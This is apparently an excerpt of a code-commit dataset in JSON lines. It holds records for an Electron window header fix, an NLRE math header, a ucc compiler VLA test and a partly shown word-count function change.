do\n\/\/ this.\n@interface AtomEventProcessingWindow : UnderlayOpenGLHostingWindow {\n @private\n  BOOL redispatchingEvent_;\n  BOOL eventHandled_;\n}\n\n\/\/ Sends a key event to |NSApp sendEvent:|, but also makes sure that it's not\n\/\/ short-circuited to the RWHV. This is used to send keyboard events to the menu\n\/\/ and the cmd-` handler if a keyboard event comes back unhandled from the\n\/\/ renderer. The event must be of type |NSKeyDown|, |NSKeyUp|, or\n\/\/ |NSFlagsChanged|.\n\/\/ Returns |YES| if |event| has been handled.\n- (BOOL)redispatchKeyEvent:(NSEvent*)event;\n\n- (BOOL)performKeyEquivalent:(NSEvent*)theEvent;\n@end\n\n#endif  \/\/ ATOM_BROWSER_UI_ATOM_EVENT_PROCESSING_WINDOW_H_\n","subject":"Fix the black devtools view.","message":"Fix the black devtools view.\n\nWithout using UnderlayOpenGLHostingWindow the devtools view would just\nbe black.\n","lang":"C","license":"mit","repos":"baiwyc119\/electron,IonicaBizauKitchen\/electron,farmisen\/electron,dahal\/electron,bright-sparks\/electron,darwin\/electron,sky7sea\/electron,greyhwndz\/electron,sircharleswatson\/electron,vipulroxx\/electron,JesselJohn\/electron,vaginessa\/electron,hokein\/atom-shell,thomsonreuters\/electron,kenmozi\/electron,brave\/muon,Zagorakiss\/electron,bobwol\/electron,rprichard\/electron,lzpfmh\/electron,the-ress\/electron,LadyNaggaga\/electron,nicobot\/electron,setzer777\/electron,rreimann\/electron,edulan\/electron,IonicaBizauKitchen\/electron,fabien-d\/electron,gabriel\/electron,farmisen\/electron,tincan24\/electron,kikong\/electron,kazupon\/electron,saronwei\/electron,Faiz7412\/electron,JussMee15\/electron,anko\/electron,leolujuyi\/electron,eric-seekas\/electron,aichingm\/electron,bwiggs\/electron,electron\/electron,the-ress\/electron,astoilkov\/electron,kokdemo\/electron,JesselJohn\/electron,simongregory\/electron,jlord\/electron,natgolov\/electron,jacksondc\/electron,saronwei\/electron,the-ress\/electron,mattotodd\/electron,mjaniszew\/electron,simonfork\/electron,kokdemo\/electron,nagyistoce\/electron-atom-shell,sshiting\/electron,wan-qy\/electron,webmechanicx\/electron,Rokt33r\/electron,iftekeriba\/electron,mattdesl\/electron,yalexx\/electron,posix4e\/electron,jonatasfreitasv\/electron,deed02392\/electron,xfstudio\/electron,beni55\/electron,stevemao\/electron,jaanus\/electron,jlord\/electron,mirrh\/electron,lrlna\/electron,Ivshti\/electron,shockone\/electron,mattotodd\/electron,gbn972\/electron,pirafrank\/electron,greyhwndz\/electron,edulan\/electron,systembugtj\/electron,bruce\/electron,arusakov\/electron,RobertJGabriel\/electron,pandoraui\/electron,astoilkov\/electron,timruffles\/electron,vHanda\/electron,mrwizard82d1\/electron,posix4e\/electron,christian-bromann\/electron,Neron-X5\/electron,jonatasfreitasv\/electron,pirafrank\/electron,Jacobichou\/electron,RIAEvangelist\/electron,howmuchcomputer\/electron,hokein\/atom-shell,the-ress\/electron,nagyistoce\/electron-atom-shell,nekuz0r\/electron,Jonekee\/electron,Evercoder\/electron,benweissmann\/electron,joaomoreno\/atom-shell,tylergibson\/electron,nicobot\/electron,yan-foto\/electron,electron\/electron,carsonmcdonald\/electron,mubassirhayat\/electron,gabrielPeart\/electron,nagyistoce\/electron-atom-shell,dongjoon-hyun\/electron,bitemyapp\/electron,jiaz\/electron,adcentury\/electron,Zagorakiss\/electron,Floato\/electron,jonatasfreitasv\/electron,adcentury\/electron,twolfson\/electron,electron\/electron,beni55\/electron,timruffles\/electron,vipulroxx\/electron,eric-seekas\/electron,brenca\/electron,Ivshti\/electron,tylergibson\/electron,LadyNaggaga\/electron,jlhbaseball15\/electron,ervinb\/electron,gabrielPeart\/electron,d-salas\/electron,chrisswk\/electron,cqqccqc\/electron,christian-bromann\/electron,kenmozi\/electron,gabriel\/electron,Zagorakiss\/electron,xfstudio\/electron,MaxWhere\/electron,jiaz\/electron,shiftkey\/electron,bruce\/electron,jannishuebl\/electron,the-ress\/electron,jannishuebl\/electron,medixdev\/electron,fabien-d\/electron,Neron-X5\/electron,jtburke\/electron,oiledCode\/electron,darwin\/electron,fritx\/electron,shockone\/electron,pombredanne\/electron,rsvip\/electron,tincan24\/electron,Faiz7412\/electron,biblerule\/UMCTelnetHub,christian-bromann\/electron,takashi\/electron,bbondy\/electron,aaron-goshine\/electron,MaxGraey\/electron,mirrh\/electron,mhkeller\/electron,Faiz7412\/electron,evgenyzinoviev\/electron,shiftkey\/electron,mirrh\/electron,simongregory\/electron,aliib\/electron,preco21\/electron,thompsonemerson\/electron,bwiggs\/electron,jcblw\/electron,eric-seekas\/electron,chrisswk\/electron,bobwol\/electron,wolfflow\/electron,zhakui\/electron,leolujuyi\/electron,BionicClick\/electron,IonicaBizauKitchen\/electron,fireball-x\/atom-shell,synaptek\/electron,xfstudio\/electron,adcentury\/electron,miniak\/electron,thingsinjars\/electron,Andrey-Pavlov\/electron,Faiz7412\/electron,vHanda\/electron,BionicClick\/electron,jiaz\/electron,zhakui\/electron,ankitaggarwal011\/electron,coderhaoxin\/electron,roadev\/electron,rajatsingla28\/electron,sircharleswatson\/electron,tomashanacek\/electron,kostia\/electron,anko\/electron,kokdemo\/electron,eric-seekas\/electron,leethomas\/electron,arturts\/electron,stevekinney\/electron,aliib\/electron,jcblw\/electron,sshiting\/electron,iftekeriba\/electron,pandoraui\/electron,lrlna\/electron,DivyaKMenon\/electron,subblue\/electron,Ivshti\/electron,stevemao\/electron,nicholasess\/electron,fireball-x\/atom-shell,MaxWhere\/electron,chrisswk\/electron,abhishekgahlot\/electron,rhencke\/electron,stevekinney\/electron,Andrey-Pavlov\/electron,chriskdon\/electron,noikiy\/electron,Ivshti\/electron,systembugtj\/electron,lzpfmh\/electron,kikong\/electron,miniak\/electron,rreimann\/electron,trankmichael\/electron,tonyganch\/electron,synaptek\/electron,joneit\/electron,trankmichael\/electron,darwin\/electron,digideskio\/electron,aaron-goshine\/electron,nekuz0r\/electron,webmechanicx\/electron,fabien-d\/electron,wan-qy\/electron,trigrass2\/electron,kostia\/electron,shennushi\/electron,gamedevsam\/electron,meowlab\/electron,jcblw\/electron,icattlecoder\/electron,maxogden\/atom-shell,oiledCode\/electron,nicholasess\/electron,voidbridge\/electron,RIAEvangelist\/electron,tomashanacek\/electron,darwin\/electron,egoist\/electron,greyhwndz\/electron,natgolov\/electron,jiaz\/electron,pirafrank\/electron,Evercoder\/electron,etiktin\/electron,beni55\/electron,SufianHassan\/electron,tincan24\/electron,fritx\/electron,davazp\/electron,egoist\/electron,arturts\/electron,vipulroxx\/electron,kazupon\/electron,jhen0409\/electron,gbn972\/electron,mubassirhayat\/electron,pombredanne\/electron,simonfork\/electron,adamjgray\/electron,dkfiresky\/electron,fomojola\/electron,wolfflow\/electron,biblerule\/UMCTelnetHub,soulteary\/electron,seanchas116\/electron,destan\/electron,JesselJohn\/electron,Jonekee\/electron,evgenyzinoviev\/electron,natgolov\/electron,bitemyapp\/electron,shockone\/electron,xfstudio\/electron,mjaniszew\/electron,kikong\/electron,timruffles\/electron,digideskio\/electron,fomojola\/electron,Jacobichou\/electron,trankmichael\/electron,bobwol\/electron,d-salas\/electron,trankmichael\/electron,faizalpribadi\/electron,jacksondc\/electron,leftstick\/electron,ervinb\/electron,jacksondc\/electron,felixrieseberg\/electron,kikong\/electron,tomashanacek\/electron,robinvandernoord\/electron,leolujuyi\/electron,kostia\/electron,leethomas\/electron,IonicaBizauKitchen\/electron,RobertJGabriel\/electron,fffej\/electron,soulteary\/electron,baiwyc119\/electron,nicholasess\/electron,fomojola\/electron,renaesop\/electron,RobertJGabriel\/electron,twolfson\/electron,simonfork\/electron,aecca\/electron,vHanda\/electron,subblue\/electron,Gerhut\/electron,leethomas\/electron,JussMee15\/electron,thompsonemerson\/electron,tinydew4\/electron,nagyistoce\/electron-atom-shell,shockone\/electron,trigrass2\/electron,mattdesl\/electron,joaomoreno\/atom-shell,micalan\/electron,kokdemo\/electron,renaesop\/electron,rhencke\/electron,webmechanicx\/electron,hokein\/atom-shell,bruce\/electron,Evercoder\/electron,Rokt33r\/electron,wolfflow\/electron,chrisswk\/electron,tonyganch\/electron,DivyaKMenon\/electron,aliib\/electron,davazp\/electron,simongregory\/electron,mubassirhayat\/electron,vHanda\/electron,nekuz0r\/electron,eriser\/electron,etiktin\/electron,jsutcodes\/electron,mubassirhayat\/electron,takashi\/electron,trigrass2\/electron,iftekeriba\/electron,sky7sea\/electron,mattotodd\/electron,vaginessa\/electron,carsonmcdonald\/electron,tomashanacek\/electron,astoilkov\/electron,chriskdon\/electron,Neron-X5\/electron,robinvandernoord\/electron,RIAEvangelist\/electron,medixdev\/electron,aliib\/electron,joaomoreno\/atom-shell,cqqccqc\/electron,rajatsingla28\/electron,Jonekee\/electron,neutrous\/electron,farmisen\/electron,fffej\/electron,Gerhut\/electron,iftekeriba\/electron,jhen0409\/electron,Zagorakiss\/electron,soulteary\/electron,noikiy\/electron,leolujuyi\/electron,leolujuyi\/electron,oiledCode\/electron,arusakov\/electron,gstack\/infinium-shell,chriskdon\/electron,bitemyapp\/electron,roadev\/electron,shiftkey\/electron,jhen0409\/electron,mattotodd\/electron,trankmichael\/electron,dongjoon-hyun\/electron,stevekinney\/electron,simonfork\/electron,jlord\/electron,minggo\/electron,the-ress\/electron,sshiting\/electron,beni55\/electron,cos2004\/electron,fireball-x\/atom-shell,stevemao\/electron,fabien-d\/electron,yalexx\/electron,bpasero\/electron,saronwei\/electron,baiwyc119\/electron,bbondy\/electron,mirrh\/electron,benweissmann\/electron,aecca\/electron,leethomas\/electron,jsutcodes\/electron,mhkeller\/electron,mattdesl\/electron,kcrt\/electron,kazupon\/electron,jcblw\/electron,aliib\/electron,digideskio\/electron,sircharleswatson\/electron,mhkeller\/electron,matiasinsaurralde\/electron,vipulroxx\/electron,cqqccqc\/electron,joaomoreno\/atom-shell,RIAEvangelist\/electron,jannishuebl\/electron,abhishekgahlot\/electron,rsvip\/electron,John-Lin\/electron,arturts\/electron,xiruibing\/electron,chriskdon\/electron,jlhbaseball15\/electron,thomsonreuters\/electron,bobwol\/electron,baiwyc119\/electron,tylergibson\/electron,MaxGraey\/electron,leftstick\/electron,voidbridge\/electron,wan-qy\/electron,leftstick\/electron,jsutcodes\/electron,aecca\/electron,tomashanacek\/electron,egoist\/electron,faizalpribadi\/electron,deed02392\/electron,Rokt33r\/electron,greyhwndz\/electron,LadyNaggaga\/electron,howmuchcomputer\/electron,gabrielPeart\/electron,edulan\/electron,anko\/electron,deed02392\/electron,brave\/muon,DivyaKMenon\/electron,jhen0409\/electron,renaesop\/electron,John-Lin\/electron,jlhbaseball15\/electron,astoilkov\/electron,systembugtj\/electron,iftekeriba\/electron,aichingm\/electron,carsonmcdonald\/electron,jaanus\/electron,bpasero\/electron,davazp\/electron,wolfflow\/electron,brave\/electron,trigrass2\/electron,GoooIce\/electron,wolfflow\/electron,gbn972\/electron,rsvip\/electron,zhakui\/electron,bwiggs\/electron,mattotodd\/electron,Neron-X5\/electron,jonatasfreitasv\/electron,mirrh\/electron,coderhaoxin\/electron,kenmozi\/electron,etiktin\/electron,yan-foto\/electron,adamjgray\/electron,coderhaoxin\/electron,preco21\/electron,bruce\/electron,vipulroxx\/electron,minggo\/electron,twolfson\/electron,ervinb\/electron,etiktin\/electron,chriskdon\/electron,jonatasfreitasv\/electron,wan-qy\/electron,astoilkov\/electron,aaron-goshine\/electron,rajatsingla28\/electron,mattotodd\/electron,jacksondc\/electron,lrlna\/electron,thompsonemerson\/electron,adamjgray\/electron,brave\/electron,gstack\/infinium-shell,GoooIce\/electron,chrisswk\/electron,preco21\/electron,deed02392\/electron,Zagorakiss\/electron,SufianHassan\/electron,systembugtj\/electron,icattlecoder\/electron,lzpfmh\/electron,biblerule\/UMCTelnetHub,vipulroxx\/electron,Gerhut\/electron,kenmozi\/electron,arturts\/electron,faizalpribadi\/electron,arusakov\/electron,thompsonemerson\/electron,xiruibing\/electron,ianscrivener\/electron,aichingm\/electron,deed02392\/electron,electron\/electron,stevekinney\/electron,takashi\/electron,carsonmcdonald\/electron,smczk\/electron,systembugtj\/electron,dahal\/electron,zhakui\/electron,felixrieseberg\/electron,pirafrank\/electron,ianscrivener\/electron,dahal\/electron,aichingm\/electron,pandoraui\/electron,Zagorakiss\/electron,oiledCode\/electron,wan-qy\/electron,fffej\/electron,natgolov\/electron,kcrt\/electron,jhen0409\/electron,Jonekee\/electron,dongjoon-hyun\/electron,kazupon\/electron,meowlab\/electron,ianscrivener\/electron,brave\/muon,adamjgray\/electron,edulan\/electron,icattlecoder\/electron,matiasinsaurralde\/electron,jsutcodes\/electron,IonicaBizauKitchen\/electron,Faiz7412\/electron,roadev\/electron,gerhardberger\/electron,edulan\/electron,miniak\/electron,deepak1556\/atom-shell,tylergibson\/electron,electron\/electron,rprichard\/electron,farmisen\/electron,noikiy\/electron,rhencke\/electron,timruffles\/electron,bwiggs\/electron,noikiy\/electron,felixrieseberg\/electron,ianscrivener\/electron,meowlab\/electron,tinydew4\/electron,tinydew4\/electron,mhkeller\/electron,setzer777\/electron,arturts\/electron,vaginessa\/electron,nicobot\/electron,pandoraui\/electron,RIAEvangelist\/electron,xfstudio\/electron,lzpfmh\/electron,felixrieseberg\/electron,Gerhut\/electron,bpasero\/electron,trigrass2\/electron,posix4e\/electron,Jacobichou\/electron,gstack\/infinium-shell,Andrey-Pavlov\/electron,GoooIce\/electron,seanchas116\/electron,cos2004\/electron,jjz\/electron,astoilkov\/electron,cqqccqc\/electron,tinydew4\/electron,brave\/muon,gamedevsam\/electron,smczk\/electron,gerhardberger\/electron,davazp\/electron,d-salas\/electron,kenmozi\/electron,fritx\/electron,tonyganch\/electron,mjaniszew\/electron,xiruibing\/electron,miniak\/electron,gbn972\/electron,brave\/muon,setzer777\/electron,jacksondc\/electron,gamedevsam\/electron,Jonekee\/electron,jtburke\/electron,systembugtj\/electron,Floato\/electron,gerhardberger\/electron,biblerule\/UMCTelnetHub,mhkeller\/electron,simongregory\/electron,Ivshti\/electron,mattdesl\/electron,icattlecoder\/electron,rhencke\/electron,shiftkey\/electron,gabriel\/electron,dahal\/electron,JussMee15\/electron,jtburke\/electron,fritx\/electron,nicobot\/electron,Evercoder\/electron,d-salas\/electron,Neron-X5\/electron,brenca\/electron,gabrielPeart\/electron,voidbridge\/electron,brave\/electron,xiruibing\/electron,robinvandernoord\/electron,rreimann\/electron,jaanus\/electron,shennushi\/electron,nekuz0r\/electron,shaundunne\/electron,gerhardberger\/electron,icattlecoder\/electron,smczk\/electron,shockone\/electron,beni55\/electron,abhishekgahlot\/electron,nicholasess\/electron,twolfson\/electron,arturts\/electron,leftstick\/electron,trankmichael\/electron,sircharleswatson\/electron,bpasero\/electron,stevemao\/electron,robinvandernoord\/electron,jtburke\/electron,Jacobichou\/electron,thompsonemerson\/electron,meowlab\/electron,rreimann\/electron,icattlecoder\/electron,minggo\/electron,howmuchcomputer\/electron,JesselJohn\/electron,RobertJGabriel\/electron,thomsonreuters\/electron,gamedevsam\/electron,farmisen\/electron,thompsonemerson\/electron,kazupon\/electron,kcrt\/electron,aichingm\/electron,MaxWhere\/electron,Floato\/electron,simonfork\/electron,aliib\/electron,cos2004\/electron,baiwyc119\/electron,jlhbaseball15\/electron,dongjoon-hyun\/electron,howmuchcomputer\/electron,pandoraui\/electron,sshiting\/electron,yan-foto\/electron,neutrous\/electron,michaelchiche\/electron,destan\/electron,matiasinsaurralde\/electron,cos2004\/electron,jjz\/electron,vaginessa\/electron,adcentury\/electron,etiktin\/electron,GoooIce\/electron,chriskdon\/electron,ankitaggarwal011\/electron,Floato\/electron,kikong\/electron,roadev\/electron,simonfork\/electron,anko\/electron,pirafrank\/electron,bbondy\/electron,bpasero\/electron,joneit\/electron,bpasero\/electron,fabien-d\/electron,jjz\/electron,seanchas116\/electron,d-salas\/electron,lzpfmh\/electron,bbondy\/electron,renaesop\/electron,eriser\/electron,fffej\/electron,medixdev\/electron,mjaniszew\/electron,adamjgray\/electron,vaginessa\/electron,meowlab\/electron,Jonekee\/electron,coderhaoxin\/electron,benweissmann\/electron,brave\/electron,gabriel\/electron,kcrt\/electron,gerhardberger\/electron,shockone\/electron,dkfiresky\/electron,jonatasfreitasv\/electron,John-Lin\/electron,eriser\/electron,preco21\/electron,kostia\/electron,webmechanicx\/electron,rsvip\/electron,jhen0409\/electron,Andrey-Pavlov\/electron,deepak1556\/atom-shell,MaxWhere\/electron,xfstudio\/electron,MaxGraey\/electron,evgenyzinoviev\/electron,BionicClick\/electron,ankitaggarwal011\/electron,ankitaggarwal011\/electron,zhakui\/electron,farmisen\/electron,dahal\/electron,joneit\/electron,thingsinjars\/electron,thingsinjars\/electron,timruffles\/electron,bbondy\/electron,destan\/electron,howmuchcomputer\/electron,pombredanne\/electron,micalan\/electron,MaxGraey\/electron,Andrey-Pavlov\/electron,michaelchiche\/electron,John-Lin\/electron,renaesop\/electron,mirrh\/electron,dahal\/electron,gamedevsam\/electron,rsvip\/electron,edulan\/electron,jiaz\/electron,saronwei\/electron,cos2004\/electron,ianscrivener\/electron,shennushi\/electron,eriser\/electron,soulteary\/electron,deed02392\/electron,yan-foto\/electron,medixdev\/electron,mubassirhayat\/electron,tylergibson\/electron,Rokt33r\/electron,benweissmann\/electron,dongjoon-hyun\/electron,smczk\/electron,JussMee15\/electron,matiasinsaurralde\/electron,webmechanicx\/electron,leolujuyi\/electron,etiktin\/electron,cqqccqc\/electron,jlhbaseball15\/electron,kostia\/electron,tincan24\/electron,Gerhut\/electron,natgolov\/electron,evgenyzinoviev\/electron,michaelchiche\/electron,thomsonreuters\/electron,SufianHassan\/electron,bobwol\/electron,takashi\/electron,MaxWhere\/electron,kokdemo\/electron,SufianHassan\/electron,adcentury\/electron,faizalpribadi\/electron,anko\/electron,minggo\/electron,d-salas\/electron,benweissmann\/electron,John-Lin\/electron,micalan\/electron,shaundunne\/electron,sircharleswatson\/electron,deepak1556\/atom-shell,bobwol\/electron,leftstick\/electron,michaelchiche\/electron,fritx\/electron,zhakui\/electron,arusakov\/electron,brenca\/electron,robinvandernoord\/electron,dkfiresky\/electron,arusakov\/electron,BionicClick\/electron,egoist\/electron,miniak\/electron,jcblw\/electron,JesselJohn\/electron,destan\/electron,tincan24\/electron,sky7sea\/electron,renaesop\/electron,hokein\/atom-shell,Floato\/electron,noikiy\/electron,tomashanacek\/electron,bright-sparks\/electron,jlord\/electron,bwiggs\/electron,egoist\/electron,stevemao\/electron,vHanda\/electron,joaomoreno\/atom-shell,voidbridge\/electron,nicholasess\/electron,shennushi\/electron,posix4e\/electron,fireball-x\/atom-shell,JesselJohn\/electron,rreimann\/electron,jjz\/electron,gerhardberger\/electron,micalan\/electron,ervinb\/electron,jtburke\/electron,mrwizard82d1\/electron,xiruibing\/electron,noikiy\/electron,minggo\/electron,MaxWhere\/electron,jtburke\/electron,bitemyapp\/electron,mjaniszew\/electron,stevemao\/electron,yan-foto\/electron,coderhaoxin\/electron,gabrielPeart\/electron,nekuz0r\/electron,ianscrivener\/electron,rajatsingla28\/electron,nagyistoce\/electron-atom-shell,stevekinney\/electron,shaundunne\/electron,Jacobichou\/electron,eriser\/electron,GoooIce\/electron,wan-qy\/electron,sshiting\/electron,setzer777\/electron,christian-bromann\/electron,bruce\/electron,shaundunne\/electron,joneit\/electron,bruce\/electron,aecca\/electron,simongregory\/electron,rhencke\/electron,anko\/electron,micalan\/electron,felixrieseberg\/electron,maxogden\/atom-shell,bitemyapp\/electron,carsonmcdonald\/electron,benweissmann\/electron,michaelchiche\/electron,Gerhut\/electron,neutrous\/electron,thingsinjars\/electron,greyhwndz\/electron,gstack\/infinium-shell,mhkeller\/electron,stevekinney\/electron,biblerule\/UMCTelnetHub,IonicaBizauKitchen\/electron,nekuz0r\/electron,BionicClick\/electron,smczk\/electron,aaron-goshine\/electron,lrlna\/electron,vaginessa\/electron,oiledCode\/electron,LadyNaggaga\/electron,fomojola\/electron,posix4e\/electron,brave\/muon,SufianHassan\/electron,JussMee15\/electron,gerhardberger\/electron,greyhwndz\/electron,kazupon\/electron,rhencke\/electron,Andrey-Pavlov\/electron,thomsonreuters\/electron,aecca\/electron,jannishuebl\/electron,thingsinjars\/electron,gbn972\/electron,sircharleswatson\/electron,carsonmcdonald\/electron,aaron-goshine\/electron,evgenyzinoviev\/electron,Rokt33r\/electron,gbn972\/electron,medixdev\/electron,kcrt\/electron,synaptek\/electron,preco21\/electron,joneit\/electron,felixrieseberg\/electron,seanchas116\/electron,davazp\/electron,brave\/electron,jannishuebl\/electron,xiruibing\/electron,eric-seekas\/electron,matiasinsaurralde\/electron,shennushi\/electron,deepak1556\/atom-shell,leethomas\/electron,takashi\/electron,sky7sea\/electron,shaundunne\/electron,robinvandernoord\/electron,bright-sparks\/electron,ervinb\/electron,bright-sparks\/electron,bbondy\/electron,DivyaKMenon\/electron,yan-foto\/electron,abhishekgahlot\/electron,baiwyc119\/electron,rreimann\/electron,joaomoreno\/atom-shell,subblue\/electron,sky7sea\/electron,digideskio\/electron,abhishekgahlot\/electron,bright-sparks\/electron,minggo\/electron,voidbridge\/electron,roadev\/electron,leftstick\/electron,tylergibson\/electron,voidbridge\/electron,BionicClick\/electron,tonyganch\/electron,fffej\/electron,arusakov\/electron,fomojola\/electron,pombredanne\/electron,simongregory\/electron,LadyNaggaga\/electron,subblue\/electron,fffej\/electron,rajatsingla28\/electron,Evercoder\/electron,oiledCode\/electron,thomsonreuters\/electron,brenca\/electron,deepak1556\/atom-shell,jacksondc\/electron,saronwei\/electron,cqqccqc\/electron,nicobot\/electron,fritx\/electron,sky7sea\/electron,gamedevsam\/electron,joneit\/electron,electron\/electron,meowlab\/electron,dongjoon-hyun\/electron,dkfiresky\/electron,micalan\/electron,abhishekgahlot\/electron,bright-sparks\/electron,christian-bromann\/electron,LadyNaggaga\/electron,shennushi\/electron,nicobot\/electron,lzpfmh\/electron,smczk\/electron,digideskio\/electron,saronwei\/electron,tonyganch\/electron,faizalpribadi\/electron,the-ress\/electron,SufianHassan\/electron,faizalpribadi\/electron,ervinb\/electron,pirafrank\/electron,kokdemo\/electron,pombredanne\/electron,RIAEvangelist\/electron,DivyaKMenon\/electron,MaxGraey\/electron,maxogden\/atom-shell,yalexx\/electron,medixdev\/electron,gstack\/infinium-shell,eriser\/electron,evgenyzinoviev\/electron,twolfson\/electron,jsutcodes\/electron,setzer777\/electron,jannishuebl\/electron,Jacobichou\/electron,dkfiresky\/electron,christian-bromann\/electron,subblue\/electron,adamjgray\/electron,yalexx\/electron,mattdesl\/electron,sshiting\/electron,howmuchcomputer\/electron,Evercoder\/electron,preco21\/electron,kostia\/electron,synaptek\/electron,darwin\/electron,rajatsingla28\/electron,miniak\/electron,gabriel\/electron,destan\/electron,thingsinjars\/electron,tincan24\/electron,ankitaggarwal011\/electron,adcentury\/electron,RobertJGabriel\/electron,biblerule\/UMCTelnetHub,gabrielPeart\/electron,Neron-X5\/electron,shiftkey\/electron,rprichard\/electron,subblue\/electron,kcrt\/electron,jiaz\/electron,jlhbaseball15\/electron,setzer777\/electron,dkfiresky\/electron,neutrous\/electron,aecca\/electron,lrlna\/electron,DivyaKMenon\/electron,takashi\/electron,jjz\/electron,synaptek\/electron,michaelchiche\/electron,fireball-x\/atom-shell,seanchas116\/electron,neutrous\/electron,leethomas\/electron,jsutcodes\/electron,tinydew4\/electron,bwiggs\/electron,tonyganch\/electron,neutrous\/electron,roadev\/electron,aaron-goshine\/electron,mattdesl\/electron,soulteary\/electron,John-Lin\/electron,bpasero\/electron,ankitaggarwal011\/electron,maxogden\/atom-shell,coderhaoxin\/electron,webmechanicx\/electron,maxogden\/atom-shell,jjz\/electron,jlord\/electron,shiftkey\/electron,iftekeriba\/electron,fomojola\/electron,trigrass2\/electron,vHanda\/electron,yalexx\/electron,eric-seekas\/electron,mrwizard82d1\/electron,rprichard\/electron,JussMee15\/electron,seanchas116\/electron,kenmozi\/electron,cos2004\/electron,tinydew4\/electron,posix4e\/electron,mrwizard82d1\/electron,davazp\/electron,pandoraui\/electron,yalexx\/electron,nicholasess\/electron,synaptek\/electron,wolfflow\/electron,mjaniszew\/electron,destan\/electron,electron\/electron,matiasinsaurralde\/electron,beni55\/electron,jaanus\/electron,brave\/electron,jcblw\/electron,brenca\/electron,digideskio\/electron,jaanus\/electron,hokein\/atom-shell,RobertJGabriel\/electron,Floato\/electron,GoooIce\/electron,twolfson\/electron,egoist\/electron,brenca\/electron,pombredanne\/electron,aichingm\/electron,jaanus\/electron,lrlna\/electron,mrwizard82d1\/electron,shaundunne\/electron,soulteary\/electron,Rokt33r\/electron,mrwizard82d1\/electron,natgolov\/electron,bitemyapp\/electron,gabriel\/electron"}
{"commit":"fc18109c3d40efea326780bbd020f8b9dfcd71b7","old_file":"include\/Math\/NLEMath.h","new_file":"include\/Math\/NLEMath.h","old_contents":"","new_contents":"\/*\n-----------------------------------------------------------------------------\nThis source file is part of NLRE\n(NonLinear Rendering Engine)\nFor the latest info, see https:\/\/github.com\/AlexandrSachkov\/NonLinearRenderingEngine\n\nCopyright (c) 2014 NonLinear Rendering Engine Team\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n\n#ifndef NLE_MATH_\n#define NLE_MATH_\n\n#ifdef _DXMATH_\n\t#include \"Math\/DXMath\/DXMathWrap.h\"\n#endif\n\n#endif","subject":"Revert \"original structure is out of sync with github\"","message":"Revert \"original structure is out of sync with github\"\n\nThis reverts commit 8a793e097c75856b7fdd55a5f9d4ed1984e81cae.\n","lang":"C","license":"mit","repos":"AlexandrSachkov\/NonLinearEngine"}
{"commit":"cb232f9f912e801a596e8c99191ed538021cd702","old_file":"test2\/vla\/normal_alloca_after_vla.c","new_file":"test2\/vla\/normal_alloca_after_vla.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 0 %s\n\nvoid abort(void);\n\ng()\n{\n\treturn 0;\n}\n\nmain()\n{\n\tint n = 5; \/\/ an unaligned value\n\tint vla[n];\n\n\tvla[0] = 1;\n\tvla[1] = 2;\n\tvla[2] = 3;\n\tvla[3] = 4;\n\n\t{\n\t\t\/\/ this alloca is done in order after the vla,\n\t\t\/\/ but is coalesced to before the VLA by the stack logic\n\t\tint x = 99;\n\n\t\tif(x != 99) abort();\n\n\t\tif(g())\n\t\t\treturn 3; \/\/ scope-leave\/restore vla, but doesn't pop the vla state\n\n\t\tint y = 35;\n\t\tif(y != 35) abort();\n\n\t\t\/\/ more scope leave code\n\t\tfor(int i = 0; i < 10; i++)\n\t\t\tif(i == 5)\n\t\t\t\tbreak;\n\n\t\tif(vla[0] != 1) abort();\n\t\tif(vla[1] != 2) abort();\n\t\tif(vla[2] != 3) abort();\n\t\tif(vla[3] != 4) abort();\n\t\tif(sizeof vla != n * sizeof(int))\n\t\t\tabort();\n\n\t\tif(y != 35) abort();\n\t\tif(x != 99) abort();\n\t}\n\n\tif(vla[0] != 1) abort();\n\tif(vla[1] != 2) abort();\n\tif(vla[2] != 3) abort();\n\tif(vla[3] != 4) abort();\n\tif(sizeof vla != n * sizeof(int))\n\t\tabort();\n\n\treturn 0;\n}\n","subject":"Test normal (backend-)allocas inside VLA scope","message":"Test normal (backend-)allocas inside VLA scope\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"a94d0b43cf4cf548d828fec548790a6da073bec1","old_file":"include\/paper.h","new_file":"include\/paper.h","old_contents":"#ifndef PAPER_H\n#define PAPER_H\n\n#include <stdbool.h>\n\nbool paper_is_start_of_first_word(char *ptr)\n{\n    \/\/ Lookback and check if that is a NUL then check that we aren't\n    \/\/ currently on a space.\n    return (*(ptr - 1) == KATA_NUL && *ptr != KATA_SPACE);\n}\n\nbool paper_is_start_of_subsequent_word(char *ptr)\n{\n    \/\/ Lookback and see if the prior character was a space then check that\n    \/\/ we aren't currently on a space.\n    return (*(ptr - 1) == KATA_SPACE && *ptr != KATA_SPACE);\n}\n\nsize_t paper_word_count(char *paper)\n{\n    size_t count = 0;\n    char *ptr = paper;\n\n    do {\n        if (!*ptr) {\n            break;\n        }\n\n        if (\n            paper_is_start_of_first_word(ptr) ||\n            paper_is_start_of_subsequent_word(ptr)\n        ) {\n            count += 1;\n        }\n    } while (*(++ptr));\n\n    return count;\n}\n\n#endif \/\/ PAPER_H\n","new_contents":"#ifndef PAPER_H\n#define PAPER_H\n\n#include <stdbool.h>\n\nbool paper_is_start_of_first_word(size_t word_count, char *ptr)\n{\n    return (word_count == 0 && *ptr != KATA_SPACE);\n}\n\nbool paper_is_start_of_subsequent_word(char *ptr)\n{\n    \/\/ Lookback and see if the prior character was a space then check that\n    \/\/ we aren't currently on a space.\n 